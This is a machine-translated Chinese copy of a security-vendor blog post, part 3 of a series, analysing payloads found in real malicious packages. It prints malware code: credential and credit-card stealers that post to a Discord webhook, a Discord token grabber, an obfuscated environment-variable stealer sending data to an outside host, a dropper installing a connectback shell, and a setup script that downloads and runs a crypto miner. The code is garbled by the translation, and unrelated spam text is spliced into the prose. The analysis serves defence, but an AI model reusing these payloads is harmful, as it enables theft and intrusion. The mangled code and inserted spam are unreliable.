攻击者在恶意软件包中植入的常见有效载荷

恶意软件包系列第3部分(共4篇)

在恶意软件包系列的第三篇文章中,我们将重点介绍一次成功攻击的后果,以及攻击者如何通过各种现实场景执行有效负载来满足他们的需求。

在我们开始之前,让我们回顾一些来自第二个帖子你可能错过了:

  • 攻击者通常使用几种感染方法来传播恶意包——我们已经提到了其中的五种。
  • 感染方法包括拼写、伪装、木马包、混淆依赖项或命名、劫持软件包等。
  • JFrog的安全研究人员举例说明了在恶意包中发现的各种感染方法——他们分析并迅速向DevOps社区披露了这些方法。

现在,让我们开始这个系列的第三篇博客

在成功攻击或感染恶意包后,攻击者通常希望执行满足其需求的有效负载。攻击者在恶意包中使用的大多数常见有效负载类型都利用了包的高分布。尽管在有针对性的供应链攻击中,可能会使用独特的有效载荷,但机会主义攻击者通常只是试图利用、损害或窃取尽可能多的资源。2022世界杯阿根廷预选赛赛程在下面的示例中,我们将演示这种类型的恶意负载及其用途。

攻击者在恶意包中使用的常见有效载荷示例

以下是攻击者在恶意软件包中植入威胁性有效载荷的五个真实场景。

有效负载场景1:浏览器保存的敏感数据窃取者

我们分析的第一个有效负载是浏览器数据窃取器。这个有效负载从现代浏览器的“自动完成”功能中窃取信用卡和密码。为了实现自动补全功能,现代浏览器将以前输入的用户信息保存在数据库中,比如地址、密码和信用卡信息。虽然保存信息对用户来说很方便,但它却是恶意软件的主要目标。

在下面的代码片段中,我们可以看到名为贵族阶级发现的JFrog安全研究人员于2021年7月.该恶意软件试图通过连接Chrome浏览器的内部数据库并查询信用卡信息来窃取其信用卡信息。

Def cs(): master_key = master() login_db = os。environ['USERPROFILE'] + os。sep + \ r' appdata \Local\谷歌\Chrome\User Data\default\Web Data' shutil。copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.游标()try:游标。execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw(encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook。send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY: " + str(expire_mon) + "\nEXPIRY: " + str(expire_year) + "\n" + "*" * 10 + "\n")

结果被上传到攻击者的Discord Webhook(一种将自动消息和数据更新发送到私有服务器上的文本通道的简单方法)。

同样的恶意包还试图从Edge浏览器数据库中窃取保存的密码:

Login_db = os。在viron['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data' ... cursor.execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key) if username != "" or decrypted_password != "": hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

有效负载场景2:Discord令牌窃取有效负载

Discord令牌窃取有效负载试图窃取用户的Discord令牌,这是我们在以前的博客在本系列中攻击者使用这些窃取的Discord令牌登录受害者的Discord帐户,该帐户也可以用作未来另一次攻击的代理。攻击者还可以使用被黑的Discord帐户向其他信任被黑帐户的Discord用户传播恶意软件,或者当攻击者足够幸运地遇到一个高级帐户时,他们可以出售它并从中获利。

下面是来自同一个恶意包的示例贵族阶级我们已经分析过了,它的有效载荷不仅窃取了浏览器的敏感数据,还窃取了Discord的令牌。偷代币的有效载荷是基本的D关于臭名昭著的dTGPG(不和令牌抓取有效载荷生成器)有效载荷。这是一个从未公开发布的生成器工具,但有效负载(个性化的令牌抓取器)是公开共享的,一些示例也被上传到Github.Discord认证令牌窃取代码非常简单——它迭代一组硬编码的路径:

local = os.getenv('LOCALAPPDATA')漫游= os.getenv('APPDATA')路径= {'Discord':漫游+ '\\Discord', 'Discord金丝雀':漫游+ '\\Discord', 'Discord PTB':漫游+ '\\谷歌\\Chrome\\用户数据\\默认','Opera':漫游+ '\\Opera软件\\Opera稳定','Brave':本地+ '\\BraveSoftware\\Brave- browser \\用户数据\\默认','Yandex':本地+ '\\Yandex\\YandexBrowser\\用户数据\\默认'}

有效负载读取这些路径下的所有.log和.ldb文件,寻找Discord认证令牌,并通过Webhook将它们上传到Discord。

有效负载场景3:环境变量窃取者

有效负载窃取存储在环境变量中的信息是非常有趣和有用的。JFrog安全研究人员披露在2021年12月执行环境变量盗窃的11个恶意包。一个受害的攻击传播了大部分。这些包不包含任何合法的功能,而是包含一小段恶意代码,即使经过混淆,也可以理解:

函数a0_0x2c5d(_0x3c5edd, _0x43388a) {const _0x5bc4a6 = a0_0x5bc4();返回a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {_0x2c5dfc = _0x2c5dfc - 0x1bd;Let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];返回_0x2f5ef7;}, a0_0x2c5d(_0x3c5edd, _0x43388a);}要求= http(“请求”)({“主机”:[“a5eb7b362adc824ed7d98433d8eae80a”、“米”,“白日梦”,“网”)(“加入 "]('.'), ' 路径 ': '/' + ( [“env”][“npm_package_name过程 "] || ''), ' 方法”:“POST”}),要求(“写”)(缓冲区(“的”)(JSON(函数”把“)(过程[' env ']))(“toString”)(“base64”),要求(“结束”)();

恶意软件只是收集所有受害者进程的环境变量,并将它们(作为base64编码的字符串)发送到a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net。

这是一个危险的有效负载,因为环境变量是保存运行时需要使用的秘密的主要位置(因为它们比将秘密保存在明文存储中或通过命令行变量传递秘密更安全)。

例如,AWS CLI支持通过环境变量获取AWS秘密访问密钥:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ export AWS_DEFAULT_REGION=us-west-2

这些恶意包针对的机器类型,即开发人员和CI/CD机器,很可能在用户环境中包含此类机密和访问密钥。

负载场景4:connectback shell

connectback shell有效负载的目的是接收远程命令,以便在受害者的机器上执行。

在这个有效载荷中,有三个步骤:

  1. 连接回攻击者的服务器
  2. 接收要执行的命令
  3. 将执行结果发送回服务器

JFrog安全研究人员发现并披露这两个恶意包在2022年2月使用了connectback shell有效载荷。这两个包伪装成木马包,通过它们来“隐藏Linux中Python的进程”hide_process主API,但安装一个connectback shell专门针对Linux目标机器。

hide_process当调用API时,Python代码调用该函数release_elf哪一个替换文件/usr/sbin/syslogd内含ELF木马二进制:

elf_base32 = b" p5cuyrqcaeaqaaaaaaaaaaaaaaaaaabaapqa…" elf_path = "/usr/sbin/syslogd" def release_elf(data,elf_path): try: elf_data = base64.b32decode(data) if os.path.exists(elf_path): os.remove(elf_path) with open(elf_path,"wb")as f: f.write(elf_data) os.path = "/usr/sbin/syslogd"系统(“chown——reference=/usr/sbin/sysctl”+elf_path) os。系统(“chmod——reference=/usr/sbin/sysctl”+elf_path) os。System ("touch -r /usr/sbin/sysctl "+elf_path)…elf_popen = Popen(elf_path+" -n",shell=True)

有趣的是,ELF作为base32字符串嵌入到Python脚本中。这种不常见的编码可能被用来逃避自动扫描器,不期望这种编码。

被丢弃的ELF是相当小和不混淆的,并执行以下操作-

  1. 连接到TCP端口80,在“139.162.112.74”或“blog.mysecuritycamera.com”(以可用的为准)
  2. 接收命令字符串并使用popen
  3. 将执行结果发送回服务器
V6 = popen(a1, "r");// a1 =接收到的shell命令字符串if (v6) {while (fgets(v5, 4096LL, v6)) {v4 = strlen(v5);rc4_encrypt (__int64 v5, v4);//使用内部键"345asdflkasduf" if ((int)send(v7, v5, v4, 0LL) < 0)

有效载荷场景5:密码挖掘者有效载荷

加密者有效载荷使用受害者的系统资源来挖掘加密货币,由于恶意包攻击的性质,这是恶意包中广泛存在的有效2022世界杯阿根廷预选赛赛程载荷类型。

大多数情况下,恶意包不会用于有针对性的攻击,而是通过将所有病毒传播给尽可能多的受害者我们提到的感染方法.因此,使用来自许多受害者的许多系统资源对于2022世界杯阿根廷预选赛赛程一个有利可图的有效负载(如加密货币矿工)来说是一个好主意。

下面的示例说明的有效负载maratlib软件包,我们检测到的另一个恶意软件包去年用一种受害的攻击

在下面的代码片段中,您可以看到,作为这个包的设置代码的一部分,它还下载并执行名为aza.sh

#编码:UTF-8 import sys…从setuptools导入设置打印(__import__("subprocess"))。getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh")) setup(name="maratlib", version="0.6", description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"),# Obfuscated string packages=[], author_email=l111_cringe_ (u"ࠨࡤࡃ࡫ࡲࡧࡩ࡭࠰ࡦࡳࡲ࠭ࠄ"),# Obfuscated string zip_safe=False)

我们可以看到这个bash脚本的代码,它下载并执行一个名为PhoenixMiner,该公司开采一种名为Ubiq的加密货币:

wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz tar xzf PhoenixMiner_4.2c_Linux.tar.gz cd PhoenixMiner_4.2c_Linux chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq.kryptex.network:7000…

所以,现在我们已经讨论了恶意包攻击中使用的感染方法和有效负载,我们将讨论攻击者在创建恶意包时的另一个主要兴趣:隐藏恶意代码.最后,我们还将讨论如何在开发生命周期的实际生活中检测恶意包,并介绍几种用于检测已知和未知恶意包的实用技术。

在你离开之前,考虑一下哪些有效载荷可能会影响你的DevSecOps,以及你可以做些什么来保护你所热爱的生态系统。

记住,永远有更多的东西要学。注册JFrog 's即将到来的网络研讨会